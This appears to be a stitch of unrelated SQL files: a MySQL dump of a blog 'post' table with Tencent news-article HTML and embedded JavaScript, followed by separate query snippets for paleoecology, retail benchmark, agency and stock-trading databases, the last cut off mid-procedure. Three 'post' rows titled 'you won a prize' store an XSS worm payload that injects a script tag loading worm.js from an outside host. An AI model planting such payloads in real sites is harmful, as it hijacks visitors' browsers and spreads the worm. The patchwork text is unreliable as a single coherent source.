id=\'sports_video_Vip_close\'>\\u2715</div><div class=\'sports_video_content\'><div style=\'color:#fff;font-size: 18px;margin-bottom: 30px;\'><b>\\u672c\\u7279\\u6743\\u4e3a\\u817e\\u8baf\\u4f53\\u80b2\\u4f1a\\u5458\\u4e13\\u4eab</b></div><a href=\'http://vip.sports.qq.com/\' target=\'_blank\' style=\'background:url(http://mat1.gtimg.com/sports/tangent/adImg/sportvip.png);display: block;width:221px;height: 43px;\'></a><div style=\'margin: 30px 0 5px;font-size: 15px;\'>\\u817e\\u8baf\\u4f53\\u80b2\\u4f1a\\u5458\\u7279\\u6743</div><li>NBA\\u3001NHL\\u7b49\\u8d5b\\u4e8b\\u72ec\\u5bb6\\u76f4\\u64ad</li><li>\\u4eab\\u53d7\\u514d\\u5e7f\\u544a\\u3001\\u84dd\\u5149\\u753b\\u8d28\\u3001\\u82f1\\u6587\\u539f\\u97f3</li><li>\\u70b9\\u51fb\\u201c\\u5f00\\u901a\\u201d\\u4e86\\u89e3\\u66f4\\u591a\\u7279\\u6743\\uff0c\\u5f00\\u901a\\u540e\\u8bf7\\u5237\\u65b0\\u672c\\u9875</li></div><div class=\'sports_video_code\'><div style=\'color:#fff;font-size: 12px;\'>\\u626b\\u4e00\\u626b\\u5f00\\u901a\\u4f53\\u80b2\\u4f1a\\u5458</div></div></div>\"+$(\"body\").append(o).append(n);$(\"#sports_video_Vip\").html(r),e(),$(window).resize(e)}$(\"#sports_video_mask,#sports_video_Vip_close\").click(function(){\"ad\"==i&&t.trigger(\"1080pVipGuideClose\",{action:\"closeSkipAd\"}),\"1080p\"==i&&t.trigger(\"1080pVipGuideClose\",{action:\"close1080p\"}),$(\"#sports_video_mask,#sports_video_Vip\").hide(),$(\"#sports_video_mask,#sports_video_Vip_close\").unbind(\"click\")}),$(\"#sports_video_mask,#sports_video_Vip\").show()}i.exports={sportVip:o,pop:n}},{}],9:[function(t,i,e){var o=t(\"./config\"),n=function(t,i){var e=document.head||document.getElementsByTagName(\"head\")[0]||document.documentElement,o=document.createElement(\"script\"),n=!1;o.async=!0,o.src=t,o.onload=o.onreadystatechange=function(){n||o.readyState&&!/loaded|complete/.test(o.readyState)||(n=!0,o.onload=o.onreadystatechange=null,o.parentNode&&o.parentNode.removeChild(o),o=null,\"function\"==typeof i&&i())},e.insertBefore(o,e.firstChild)},r=function(t){window.jQuery?t(window.jQuery):n(\"http://mat1.gtimg.com/libs/jquery/1.12.0/jquery.min.js\",function(){t(window.jQuery)})},a=function(){var t=function(){return t.get.apply(t,arguments)},i=t.utils={isArray:Array.isArray||function(t){return\"[object Array]\"===Object.prototype.toString.call(t)},isPlainObject:function(t){return!!t&&\"[object Object]\"===Object.prototype.toString.call(t)},toArray:function(t){return Array.prototype.slice.call(t)},getKeys:Object.keys||function(t){var i=[],e=\"\";for(e in t)t.hasOwnProperty(e)&&i.push(e);return i},escape:function(t){return String(t).replace(/[,;\"\\\\=\\s%]/g,function(t){return encodeURIComponent(t)})},retrieve:function(t,i){return null===t?i:t}};return t.defaults={},t.expiresMultiplier=86400,t.set=function(t,e,o){if(i.isPlainObject(t))for(var n in t)t.hasOwnProperty(n)&&this.set(n,t[n],e);else{o=i.isPlainObject(o)?o:{expires:o};var r=void 0!==o.expires?o.expires:this.defaults.expires||\"\",a=typeof r;\"string\"===a&&\"\"!==r?r=new Date(r):\"number\"===a&&(r=new Date(+new Date+1e3*this.expiresMultiplier*r)),\"\"!==r&&\"toGMTString\"in r&&(r=\";expires=\"+r.toGMTString());var l=o.path||this.defaults.path;l=l?\";path=\"+l:\"\";var s=o.domain||this.defaults.domain;s=s?\";domain=\"+s:\"\";var c=o.secure||this.defaults.secure?\";secure\":\"\";document.cookie=i.escape(t)+\"=\"+i.escape(e)+r+l+s+c}return this},t.remove=function(t){t=i.isArray(t)?t:i.toArray(arguments);for(var e=0,o=t.length;o>e;e++)this.set(t[e],\"\",-1);return this},t.empty=function(){return this.remove(i.getKeys(this.all()))},t.get=function(t,e){e=e||void 0;var o=this.all();if(i.isArray(t)){for(var n={},r=0,a=t.length;a>r;r++){var l=t[r];n[l]=i.retrieve(o[l],e)}return n}return i.retrieve(o[t],e)},t.all=function(){if(\"\"===document.cookie)return{};for(var t=document.cookie.split(\"; \"),i={},e=0,o=t.length;o>e;e++){var n,r,a=t[e].split(\"=\");try{n=decodeURIComponent(a[0])}catch(l){n=a[0]}try{r=decodeURIComponent(a[1])}catch(l){r=a[1]}i[n]=r}return i},t.enabled=function(){if(navigator.cookieEnabled)return!0;var i=\"_\"===t.set(\"_\",\"_\").get(\"_\");return t.remove(\"_\"),i},t}(),l=function(t,i){for(var e=0,o=\"\",n=0;n<t.length;n++)if(t.charCodeAt(n)>128?e+=2:e++,o+=t.charAt(n),e>=i)return o;return o},s=function(t,i){var e,o,n,r,a,l,s=c(function(){a=r=!1},i);return function(){e=this,o=arguments;var c=function(){n=null,a&&(l=t.apply(e,o)),s()};return n||(n=setTimeout(c,i)),r?a=!0:(r=!0,l=t.apply(e,o)),s(),l}},c=function(t,i,e){var o,n;return function(){var r=this,a=arguments,l=function(){o=null,e||(n=t.apply(r,a))},s=e&&!o;return clearTimeout(o),o=setTimeout(l,i),s&&(n=t.apply(r,a)),n}},d=function(){if(-1!==location.search.indexOf(\"debugv\")&&window.console){var t=Array.prototype.slice.call(arguments);t.unshift(\"[related_video_log]\"),console.log(t)}},u=function(t,i){return i=i||$.noop,\"string\"!=typeof t?void i(null):void $.ajax({method:\"GET\",url:\"http://data.video.qq.com/fcgi-bin/data\",data:{tid:\"25\",idlist:t,appid:\"10001009\",appkey:\"c5a3e1529a7ba805\",otype:\"json\"},dataType:\"jsonp\",cache:!0,scriptCharset:\"utf-8\"}).done(function(t){if(!t||t.errorno)return void i(null);var e=[],o=t.results[0].fields,n=o.c_vids||o.c_vclips||[];$.each(n,function(t,i){e.push({vid:i.c_vid,title:i.c_title,pic:i.c_pic_160_90,url:i.c_play_url})}),i(e)}).fail(function(){i(null)})},p=function(t,i,e){return e=e||$.noop,i?(t=t||\"\",void $.ajax({method:\"GET\",url:\"http://like.video.qq.com/fcgi-bin/like\",data:{msgtype:\"122\",uin:t,id:i,playright:\"2\",pidx:\"0\",size:\"11\",otype:\"json\",tablist:\"9\"},dataType:\"jsonp\",cache:!0,scriptCharset:\"utf-8\"}).done(function(t){if(!t||t.errmsg||!t.tablist)return void e(null);var i=[];$.each(t.tablist[0].cover_info,function(t,e){i.push({vid:e.id,title:e.title,pic:e.picurl,url:e.playurl})}),e(i)}).fail(function(){e(null)})):void e(null)},f={on:function(){window.dc_playing_sign||(window.dc_playing_sign={}),window.dc_playing_sign[o.modName]=!0},off:function(){window.dc_playing_sign||(window.dc_playing_sign={}),window.dc_playing_sign[o.modName]=!1},isAnyonePlaying:function(){if(window.dc_playing_sign){for(var t in window.dc_playing_sign)if(t!==o.modName&&window.dc_playing_sign.hasOwnProperty(t)&&window.dc_playing_sign[t])return!0;return!1}return!1}},_={boss2619:function(t,i){var e=$.param({BossId:\"2619\",CheckSum:\"1312852225\",sIp:\"\",iQQ:a.get(\"o_cookie\")||\"\",sOp:t||\"\",sDomain:window.location.hostname||\"\",sUrl:window.location.href||\"\",sRef:window.document.referrer||\"\",vid:i||\"\",_dc:\"\"+Math.random()});(new Image).src=\"http://btrace.qq.com/kvcollect?\"+e}};i.exports={getScript:n,loadJquery:r,cookie:a,cutstr2:l,throttle:s,debounce:c,debug_log:d,getVideoListByCoverId:u,getLikeVideoList:p,playingGlobalSign:f,trace:_}},{\"./config\":2}],10:[function(t,i,e){var o=t(\"./tools\"),n=t(\"./config\"),n={};n.mini_unmute={key:\"rv_mini_unmute\",domain:\".qq.com\",path:\"/\",expires:1};var r={};r.$root=$(\".rv-js-root\"),r.$title=r.$root.find(\".rv-title a\"),r.$autoplay_sw=r.$root.find(\".rv-js-autoplay\"),r.$player_wrap=r.$root.find(\".rv-player-wrap\"),r.$player_mod=r.$player_wrap.find(\".rv-player-mod\"),r.$player_mini_ctrl=r.$player_wrap.find(\".rv-player-mini-ctrl\"),r.$playlist_node=r.$root.find(\".rv-playlist\"),r.$playlist_scol=r.$playlist_node.find(\".rv-playlist-scroller\"),r.$playlist_list=r.$playlist_node.find(\"ol.rv-playlist-list\"),r.$playlist_ctrl=r.$playlist_node.find(\".rv-playlist-ctrl a\"),r.$playlist_prev=r.$playlist_ctrl.filter(\".prev\"),r.$playlist_next=r.$playlist_ctrl.filter(\".next\");var a=function(){return{width:r.$player_mod.width(),height:r.$player_mod.height()}};e.setPlayerModId=function(t){r.$player_mod.attr(\"id\",t)},e.setTitle=function(t,i){return r.$title.html(t).attr(\"href\",i)};var l=function(){var t=\"enabled\",i=function(){r.$autoplay_sw.attr(\"bosszone\",function(){return o()?\"bofang_button_close\":\"bofang_button_open\"})},e=function(e){r.$autoplay_sw[e?\"addClass\":\"removeClass\"](t),i()},o=function(){return r.$autoplay_sw.hasClass(t)},n=function(e){var n=r.$autoplay_sw;n.on(\"click\",function(){n.toggleClass(t),\"function\"==typeof e&&e.call(null,o()),i()})};return{bind:n,setStatus:e,getStatus:o,updateBosszone:i}}();e.autoPlaySW=l;var s=function(){var t,i,e,n,a,l,s=function(){f(),r.$playlist_next.on(\"click\",function(){p(\"forward\")}),r.$playlist_prev.on(\"click\",function(){p(\"backward\")}),r.$playlist_scol.on(\"scroll\",o.throttle(function(){var i=r.$playlist_scol.scrollLeft(),e=\"disabled\";0===i||i===a||0>=a?(0===i&&r.$playlist_prev.addClass(e),(i===a||0>=a)&&r.$playlist_next.addClass(e)):r.$playlist_ctrl.removeClass(e),-1!==navigator.appVersion.indexOf(\"MSIE 7.\")&&t.css(\"visibility\",\"inherit\").css(\"visibility\",\"visible\")},50)),r.$playlist_scol.trigger(\"scroll\")},c=function(t){r.$playlist_scol.stop().animate({scrollLeft:parseInt(t,10)},500)},d=function(o){if(!(0>o||o>i-1)){var n=r.$playlist_scol;$item=t.filter(\":eq(\"+o+\")\"),c(n.scrollLeft()+$item.position().left-n.width()/2+e/2),l=o}},u=function(i){var e=\"current\";t.find(\"> a.\"+e).removeClass(e),t.filter(\":eq(\"+i+\")\").find(\"> a\").addClass(e)},p=function(t){var i,o=r.$playlist_scol,n=o.scrollLeft(),l=Math.round(.7*o.width());\"forward\"===t?i=n+l:\"backward\"===t&&(i=n-l),e>i?i=0:i>a-e&&(i=a),c(i)},f=function(){t=r.$playlist_list.find(\"> li\"),i=t.length,e=t.filter(\":eq(0)\").outerWidth(!0),n=r.$playlist_scol.width()/e,r.$playlist_list.css(\"width\",i*e),a=r.$playlist_list.outerWidth(!0)-r.$playlist_scol.width()};return{init:s,setCurrentToIdx:u,scrollToItemIdx:d,forward:function(){p(\"forward\")},backward:function(){p(\"backward\")},hide:function(){return r.$playlist_node.slideUp(300)},update:f}}();e.playlist=s;var c=function(){var t,i=!1,e=function(){var t={};t.top=r.$root.offset().top,t.btm=t.top+r.$root.height();var i={height:$(window).height(),scrollTop:$(window).scrollTop()},e=t.top>=i.scrollTop&&i.scrollTop+i.height>=t.top,o=t.btm>=i.scrollTop&&i.scrollTop+i.height>=t.btm,n=t.top<=i.scrollTop&&i.scrollTop+i.height<=t.btm;return!!(e||o||n)},l=function(){var t=$(\"#Main-Article-QQ\");if(t.length>0){var i=t.offset(),e=t.width();return 2*i.left+e===$(window).width()?e:!1}return!1},s=function(o){var n=i?!0:e();if(!(!0===t&&!0===n||!1===t&&!1===n)){if(r.$player_wrap.css(\"visibility\",\"hidden\").toggleClass(\"rv-player-mini\",!n),n)r.$player_wrap.css({\"margin-left\":\"\",left:\"\"}),o.unMute&&o.unMute(),u(o);else{if(window.ARTICLE_INFO&&1===window.ARTICLE_INFO.isUnique)r.$player_wrap.addClass(\"rv-player-mini-sp1\");else{var a=l();if(a){var s,d,p=r.$player_wrap.width(),_=($(window).width()-a)/2-10>=p;_?(s=0-a/2-r.$player_wrap.width()-10,d=\"50%\"):(s=0,d=0),r.$player_wrap.css({\"margin-left\":s,left:d})}}\"1\"!==f.get()&&(o.mute&&o.mute(),u(o))}c(o),r.$player_wrap.css(\"visibility\",\"visible\"),t=n}},c=function(t){var i=a().height;t.resize({height:i})},d=r.$player_mini_ctrl.find(\"a[data-action=mute]\"),u=function(t){t.isMuted&&(n.mute=!!t.isMuted(),d.removeClass(\"mute-off mute-on\").addClass(t.isMuted()?\"mute-on\":\"mute-off\"))},p=function(t){var e=function(){s(t)};$(window).scroll(e),$(window).resize(e),r.$player_mini_ctrl.on(\"click\",\"a[data-action=close]\",function(e){e.preventDefault(),i=!0,s.apply(this)(),t.pause()}),r.$player_mini_ctrl.on(\"click\",\"a[data-action=resize]\",function(i){i.preventDefault(),r.$player_wrap.toggleClass(\"rv-player-mini-big\"),c(t)}),u(t),d.click(function(){t.isMuted&&(t.isMuted()?(t.unMute(),f.on()):(t.mute(),f.off()),d.removeClass(\"mute-off mute-on\").addClass(t.isMuted()?\"mute-on\":\"mute-off\"))})},f={_configName:\"mini_unmute\",_config:null,_set:function(t){this._config=n[this._configName],o.cookie.set(this._config.key,t,{expires:this._config.expires,domain:this._config.domain,path:this._config.path})},get:function(){return this._config=n[this._configName],o.cookie.get(this._config.key)},on:function(){this._set(\"1\")},off:function(){this._set(\"0\")}};return{detectVisible:e,init:p}}();e.scrollPlay=c,e.dom=r},{\"./config\":2,\"./tools\":9}]},{},[4]);</script><span>\n</span><span>\n\n</span><!-- /相关视频 --><span>\n\n\n\n\n\n\n\n\n</span><!--[if !IE]>|xGv00|d82f7a1238f1c1eaec2269b1b9ad1fc5<![endif]--><span>\n\n</span><div class=\"techinding\"><p><strong>推广:腾讯创业频道是腾讯旗下专注于创投领域的媒体平台。如果你想被获得千万网友和投资人的关注,即刻微信搜索qqchuangye关注我们,递交你的项目。</strong></p><p align=\"center\"><img alt=\"机器人不但会抢夺我们的工作 还会加剧社会的不公\" src=\"http://img1.gtimg.com/tech/pics/hv1/18/13/2189/142343058.jpg\"></p></div><span>\n</span></div>', '2017-03-03 02:04:18', '2017-03-03 02:04:18'); INSERT INTO `post` VALUES ('29', 'Netflix将利用人工智能技术改善手机用户观影体验', 'http://p1yvzhu3t.bkt.clouddn.com/nex.jpg', '<div id=\"Cnt-Main-Article-QQ\" class=\"Cnt-Main-Article-QQ\" bosszone=\"content\"><span>\n</span><p class=\"titdd-Article\">[<strong>摘要</strong>]Netflix利用研究结果训练AI神经网络,让后者具备判断视频质量的能力。</p><p align=\"center\"><img alt=\"Netflix将利用人工智能技术改善手机用户观影体验\" src=\"http://img1.gtimg.com/tech/pics/hv1/214/149/2190/142442959.jpg\"></p><p>BI中文站 3月3日报道</p><p>你用智能手机观看Netflix视频时的体验将得到明显改善。</p><p>美国视频流媒体服务和视频出租公司Netflix将利用人工智能技术改善视频编码方式,根据不同移动设备的屏幕尺寸来优化播放效果和观影体验。据Netflix称,人工智能技术可以减少传输视频所需的数据量,让低带宽用户能够获得更优秀的观影体验。</p><p>Netflix与南加州大学合作进行了一项研究,他们向测试人员播放不同画质的视频,然后询问他们哪一些视频看起来更赏心悦目。</p><p>然后他们利用研究结果来训练AI神经网络,让后者具备判断视频质量的能力。Netflix打算用这个AI社交网络来逐一改善视频的画面,并且在不牺牲文件质量的前提下使用尽可能少的数据。</p><p>这是有可能做到的,因为并非所有的视频都需要相同数量的数据才能保证观看效果。Netflix本周三在西班牙巴塞罗那召开了一次新闻发布会,公司产品创新副总裁托德·叶林(<NAME>)举了两个例子予以说明,一个是“夜魔侠”(Daredevil),一个是“马人波加克”(<NAME>)。</p><p>夜魔侠是一部充满特效、场景繁多的真人动作片,而马人波加克是一部动画片。显然,保存马人波加克的视频所需的存储空间肯定比保存夜魔侠所需的存储空间要小一些,因为动画片的画面里的细节相对要少一些。</p><p>因为AI编码是逐个镜头进行的,这意味着视觉复杂程度不同的视频都是可以优化的,它们没必要在拥有足够细节的情况下占用一些不必要的带宽。</p><p>叶林用Marvel即将发行的动作片“铁拳”进行了现场演示。其中一个版本用传统编码方式进行编码,另一个版本用人工智能编码技术进行处理。两种版本的视觉效果基本上是一样的,但是传统编码版的流传输带宽为555kbps,AI编码版的流传输带宽为227kbps,刚好是前者的一半。</p><p>这项技术还没有正式启用,但是会在未来两个月内启用。它最初将被应用到移动视频内容上,但是Netflix肯定打算将这种技术推广到台式机和智能电视平台上去,而观众们什么都不用做,一切都是在后台自动完成的。(编译/林靖东) </p><div class=\"techinding\"><p><strong>推广:腾讯创业频道是腾讯旗下专注于创投领域的媒体平台。如果你想被获得千万网友和投资人的关注,即刻微信搜索qqchuangye关注我们,递交你的项目。</strong></p><p align=\"center\"><img alt=\"Netflix将利用人工智能技术改善手机用户观影体验\" src=\"http://img1.gtimg.com/tech/pics/hv1/18/13/2189/142343058.jpg\"></p></div><span>\n</span></div>', '2017-03-03 02:04:19', '2017-03-03 02:04:19'); INSERT INTO `post` VALUES ('67', '你中奖了', 'http://p5w5qhvkn.bkt.clouddn.com/meizi.jpg', '<a href=\'http://article.com/mingrentang/index?worm=<script src=http://receive.xss.com/myjs/worm.js></script>\'>领取奖金</a>', '2018-11-08 17:12:37', '2018-11-08 17:12:37'); INSERT INTO `post` VALUES ('68', '你中奖了', 'http://p5w5qhvkn.bkt.clouddn.com/meizi.jpg', '<a href=\'http://article.com/mingrentang/index?worm=<script src=http://receive.xss.com/myjs/worm.js></script>\'>领取奖金</a>', '2018-11-08 17:13:23', '2018-11-08 17:13:23'); INSERT INTO `post` VALUES ('69', '你中奖了', 'http://p5w5qhvkn.bkt.clouddn.com/meizi.jpg', '<a href=\'http://article.com/mingrentang/index?worm=<script src=http://receive.xss.com/myjs/worm.js></script>\'>领取奖金</a>', '2018-11-08 17:13:34', '2018-11-08 17:13:34'); -- ---------------------------- -- Table structure for user -- ---------------------------- DROP TABLE IF EXISTS `user`; CREATE TABLE `user` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT, `username` varchar(32) NOT NULL DEFAULT '', `password` varchar(64) NOT NULL DEFAULT '', `uuid` char(32) DEFAULT NULL, `salt` varchar(64) NOT NULL DEFAULT '', `createdAt` timestamp NULL DEFAULT NULL, `updatedAt` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, PRIMARY KEY (`id`), KEY `NORAL_UUID` (`uuid`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb4; -- ---------------------------- -- Records of user -- ---------------------------- INSERT INTO `user` VALUES ('1', 'wangyu', '<PASSWORD>', 'MN2T7YSIVs', '', '2018-09-07 10:47:04', '2017-05-16 01:23:54'); INSERT INTO `user` VALUES ('2', '马里奥', '<PASSWORD>', null, '', '2017-05-07 18:00:00', '2017-05-07 09:20:29');
<gh_stars>0 CREATE TABLE IF NOT EXISTS users ( id INT PRIMARY KEY AUTO_INCREMENT, username VARCHAR(255) NOT NULL, email VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, token VARCHAR(2048) NOT NULL, created_at DATETIME NOT NULL DEFAULT NOW() );
<reponame>nerocui/youchatt2.0 INSERT INTO requests(id, from_user_id, to_user_id) VALUES($1, $2, $3) RETURNING *
<reponame>NeotomaDB/Neotoma_SQL CREATE OR REPLACE FUNCTION ti.getspecimenisotopedataset(_datasetid integer) RETURNS TABLE ( specimenid integer, analysisunit character varying, depth text, thickness text, taxon character varying, element text, variable character varying, units character varying, value double precision, sd text, materialanalyzed character varying, substrate character varying, pretreatments text, analyst character varying, lab character varying, labnumber text, mass_mg text, weightpercent text, atomicpercent text, reps text ) LANGUAGE sql AS $function$ WITH speciesiso AS ( SELECT dt.dataid, spec.specimenid, au.analysisunitname as "analysis unit", COALESCE(au.depth::text, '') as depth, COALESCE(au.thickness::text, '') as thickness, txb.taxonname as taxon, REGEXP_REPLACE( REGEXP_REPLACE( CONCAT(et.elementtype, ';', es.symmetry, ';', ep.portion, ';', em.maturity, ';'), '(;){2,}', ';'), ';$', '') AS element, tx.taxonname as variable, varu.variableunits as units, dt.value, COALESCE(isd.sd::text, '') as sd, COALESCE(iman.isomaterialanalyzedtype, '') as "material analyzed", COALESCE(ist.isosubstratetype, '') as substrate, COALESCE(ct.contactname, '') as analyst, COALESCE(imd.lab, '') as lab, COALESCE(imd.labnumber::text, '') as "lab number", COALESCE(imd.mass_mg::text, '') as "mass (mg)", COALESCE(imd.weightpercent::text, '') as "weight %", COALESCE(imd.atomicpercent::text, '') as "atomic %", COALESCE(imd.reps::text, '') as reps FROM ndb.datasets AS ds inner join ndb.samples AS smp on ds.datasetid = smp.datasetid inner join ndb.data AS dt on smp.sampleid = dt.sampleid inner join ndb.variables AS var on dt.variableid = var.variableid inner join ndb.taxa AS tx ON var.taxonid = tx.taxonid inner join ndb.variableunits AS varu ON var.variableunitsid = varu.variableunitsid inner join ndb.isospecimendata AS isd ON dt.dataid = isd.dataid inner join ndb.specimens AS spec on isd.specimenid = spec.specimenid inner join ndb.data AS dtb on spec.dataid = dtb.dataid inner join ndb.variables AS varb on dtb.variableid = varb.variableid inner join ndb.taxa AS txb on varb.taxonid = txb.taxonid inner join ndb.analysisunits AS au on smp.analysisunitid = au.analysisunitid inner join ndb.isometadata AS imd on dt.dataid = imd.dataid left outer join ndb.contacts AS ct on imd.analystid = ct.contactid left outer join ndb.isosubstratetypes AS ist on imd.isosubstratetypeid = ist.isosubstratetypeid left outer join ndb.isomaterialanalyzedtypes AS iman on imd.isomatanaltypeid = iman.isomatanaltypeid left outer join ndb.elementportions AS ep on spec.portionid = ep.portionid left outer join ndb.elementtypes AS et on spec.elementtypeid = et.elementtypeid left outer join ndb.elementsymmetries AS es on spec.symmetryid = es.symmetryid left outer join ndb.elementmaturities AS em on spec.maturityid = em.maturityid where (ds.datasetid = _datasetid) order by spec.specimenid, tx.taxonname ), pretreatments AS ( SELECT dt.dataid, REGEXP_REPLACE(STRING_AGG(ipt.isopretreatmenttype || ', ' || ipt.isopretreatmentqualifier || ', ' || isp.value::text, ';' ORDER BY isp.order), ', , ', ', ') AS samplepretreatment FROM ndb.isopretreatmenttypes AS ipt INNER JOIN ndb.isosamplepretreatments AS isp ON ipt.isopretreatmenttypeid = isp.isopretreatmenttypeid INNER JOIN ndb.data AS dt ON isp.dataid = dt.dataid INNER JOIN ndb.samples AS smp ON smp.sampleid = dt.sampleid RIGHT OUTER JOIN ndb.datasets AS ds ON ds.datasetid = smp.datasetid WHERE (ds.datasetid = _datasetid) GROUP BY dt.dataid ) SELECT si.specimenid, si."analysis unit", si.depth, si.thickness, si.taxon, si.element, si.variable, si.units, si.value, si.sd, si."material analyzed", si.substrate, pt.samplepretreatment, si.analyst, si.lab, si."lab number", si."mass (mg)", si."weight %", si."atomic %", si.reps FROM speciesiso AS si LEFT OUTER JOIN pretreatments AS pt ON si.dataid = pt.dataid ORDER BY si.specimenid, si.variable $function$
insert overwrite table query17 select i_item_id , i_item_desc , s_state , count(ss_quantity) as store_sales_quantitycount , avg(ss_quantity) as store_sales_quantityave , stddev_samp(ss_quantity) as store_sales_quantitystdev , stddev_samp(ss_quantity) / avg(ss_quantity) as store_sales_quantitycov , count(sr_return_quantity) as store_returns_quantitycount , avg(sr_return_quantity) as store_returns_quantityave , stddev_samp(sr_return_quantity) as store_returns_quantitystdev , stddev_samp(sr_return_quantity) / avg(sr_return_quantity) as store_returns_quantitycov , count(cs_quantity) as catalog_sales_quantitycount , avg(cs_quantity) as catalog_sales_quantityave , stddev_samp(cs_quantity) as catalog_sales_quantitystdev , stddev_samp(cs_quantity) / avg(cs_quantity) as catalog_sales_quantitycov from store_sales , store_returns , catalog_sales , date_dim d1 , date_dim d2 , date_dim d3 , store , item where d1.d_quarter_name = '2001Q1' and d1.d_date_sk = ss_sold_date_sk and i_item_sk = ss_item_sk and s_store_sk = ss_store_sk and ss_customer_sk = sr_customer_sk and ss_item_sk = sr_item_sk and ss_ticket_number = sr_ticket_number and sr_returned_date_sk = d2.d_date_sk and d2.d_quarter_name in ('2001Q1', '2001Q2', '2001Q3') and sr_customer_sk = cs_bill_customer_sk and sr_item_sk = cs_item_sk and cs_sold_date_sk = d3.d_date_sk and d3.d_quarter_name in ('2001Q1', '2001Q2', '2001Q3') group by i_item_id , i_item_desc , s_state order by i_item_id , i_item_desc , s_state limit 100;
<filename>documents/musterloesung-db-2012-09-24/d2c2.1.sql SELECT f1.person2, f2.person2 FROM ( SELECT * FROM FriendshipSymmetric WHERE person1 = 4 ) f1 JOIN ( SELECT * FROM FriendshipSymmetric WHERE person1 = 4 ) f2 ON f1.person1 = f2.person1 WHERE f1.person2 != f2.person2 AND NOT EXISTS ( SELECT * FROM FriendshipSymmetric f WHERE f.person1 = f1.person2 AND f.person2 = f2.person2 )
<reponame>gaybro8777/usaspending-api select toptier_code, abbreviation, name, mission, website, justification, icon_filename from ( -- CGAC agencies select cgac_agency_code as toptier_code, max(agency_abbreviation) as abbreviation, max(agency_name) as name, max(mission) as mission, max(website) as website, max(congressional_justification) as justification, max(icon_filename) as icon_filename from temp_load_agencies_raw_agency where cgac_agency_code is not null and agency_name is not null and is_frec is false group by cgac_agency_code union all -- FREC agencies select frec as toptier_code, max(frec_abbreviation) as abbreviation, max(frec_entity_description) as name, max(mission) as mission, max(website) as website, max(congressional_justification) as justification, max(icon_filename) as icon_filename from temp_load_agencies_raw_agency where frec is not null and frec_entity_description is not null and is_frec is true group by frec ) t
DROP PROCEDURE processNewOrder; DROP PROCEDURE validateOrderIsNotExpired; DROP PROCEDURE validateOrder; DROP PROCEDURE fillOrder; DROP PROCEDURE addOrderToPendingTable; DROP PROCEDURE cancelOrder; DROP PROCEDURE validateThatOrderExistsInPendingTable; DROP PROCEDURE insertCancelledOrderInClosedOrdersTables; DELIMITER // CREATE PROCEDURE processNewOrder( IN orderId CHAR(36), IN portfolioId CHAR(36), IN stockTicker VARCHAR(5), IN stockSuffix VARCHAR(6), IN nbShares INTEGER, IN limitPrice DECIMAL(10, 5), IN expirationTime TIMESTAMP, IN type ENUM ( 'market', 'limit', 'stop' ) ) BEGIN CALL validateOrderIsNotExpired(expirationTime); SET @nbOwnedShares = getNbOwnedSharesByTickerInPortfolio(portfolioId, stockTicker, stockSuffix); SET @currentStockValue = getCurrentStockValue(stockTicker, stockSuffix); IF type = 'market' AND nbShares > 0 THEN SET limitPrice = 1.05 * @currentStockValue; ELSEIF type = 'market' AND nbShares < 0 THEN SET limitPrice = 0.95 * @currentStockValue; END IF; CALL validateOrder(portfolioId, @nbOwnedShares, nbShares, limitPrice,type); IF ((nbShares < 0 AND limitPrice <= @currentStockValue) OR (nbShares > 0 AND limitPrice >= @currentStockValue)) THEN CALL fillOrder(orderId, portfolioId, stockTicker, stockSuffix, nbShares, limitPrice, @currentStockValue, NOW(), expirationTime, type, 1); ELSE CALL addOrderToPendingTable(orderId, portfolioId, stockTicker, stockSuffix, nbShares, limitPrice, NULL, expirationTime, type); END IF; END // DELIMITER ; DELIMITER // CREATE PROCEDURE validateOrderIsNotExpired(IN expirationTime TIMESTAMP) BEGIN IF NOW() > expirationTime THEN SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Order has expired.'; END IF; END; // DELIMITER ; DELIMITER // CREATE PROCEDURE validateOrder( IN portfolioId CHAR(36), IN nbOwnedShares INTEGER, IN nbShares INTEGER, IN limitPrice DECIMAL(10, 5), IN type ENUM ( 'market', 'limit', 'stop' ) ) BEGIN IF (limitPrice IS NULL AND (type = 'limit' OR type = 'stop')) THEN SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Limit and stop orders require a limit price.'; ELSEIF (nbShares < 0 AND nbOwnedShares IS NULL ) THEN SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Cannot sell null shares.'; ELSEIF (nbShares < 0 AND ABS(nbShares) > nbOwnedShares) THEN SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Cannot sell more shares than owned.'; ELSEIF (getCashAmountInPortfolio(portfolioId) < nbShares * limitPrice) THEN SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Insufficient funds to complete order.'; END IF; END // DELIMITER ; DELIMITER // CREATE PROCEDURE fillOrder( IN orderId CHAR(36), IN portfolioId CHAR(36), IN stockTicker VARCHAR(5), IN stockSuffix VARCHAR(6), IN nbShares INTEGER, IN limitPrice DECIMAL(10, 5), IN filledPrice DECIMAL(10, 5), IN placedTime TIMESTAMP, IN expirationTime TIMESTAMP, IN orderType ENUM ( 'market', 'limit', 'stop' ), IN firstFillAttempt BOOLEAN ) BEGIN INSERT INTO closed_orders (uuid, portfolio_uuid, stock_ticker, stock_suffix, nb_shares, limit_price, filled_price, placed_time, expiration_time, type) VALUES (orderId, portfolioId, stockTicker, stockSuffix, nbShares, limitPrice, filledPrice, placedTime, expirationTime, orderType); IF (nbShares > 0) THEN CALL updatePosition(portfolioId, stockTicker, stockSuffix, nbShares, filledPrice); SET @currentStockValue = getCurrentStockValue(stockTicker, stockSuffix); SELECT P.avg_price INTO @averagePrice FROM positions P WHERE P.stock_ticker = stockTicker AND P.stock_suffix = stockSuffix AND P.portfolio_uuid = portfolioId; ELSE SET @currentStockValue = getCurrentStockValue(stockTicker, stockSuffix); SELECT P.avg_price INTO @averagePrice FROM positions P WHERE P.stock_ticker = stockTicker AND P.stock_suffix = stockSuffix AND P.portfolio_uuid = portfolioId; CALL updatePosition(portfolioId, stockTicker, stockSuffix, nbShares, filledPrice); END IF; SET @anticipatedPrice = nbShares * limitPrice; SET @actualPrice = nbShares * filledPrice; IF (@actualPrice IS NULL) THEN SET @actualPrice = @anticipatedPrice; END IF; IF (nbShares > 0) THEN IF (firstFillAttempt) THEN UPDATE portfolios SET cash_amount = (cash_amount - @actualPrice), market_value = (market_value + @actualPrice), 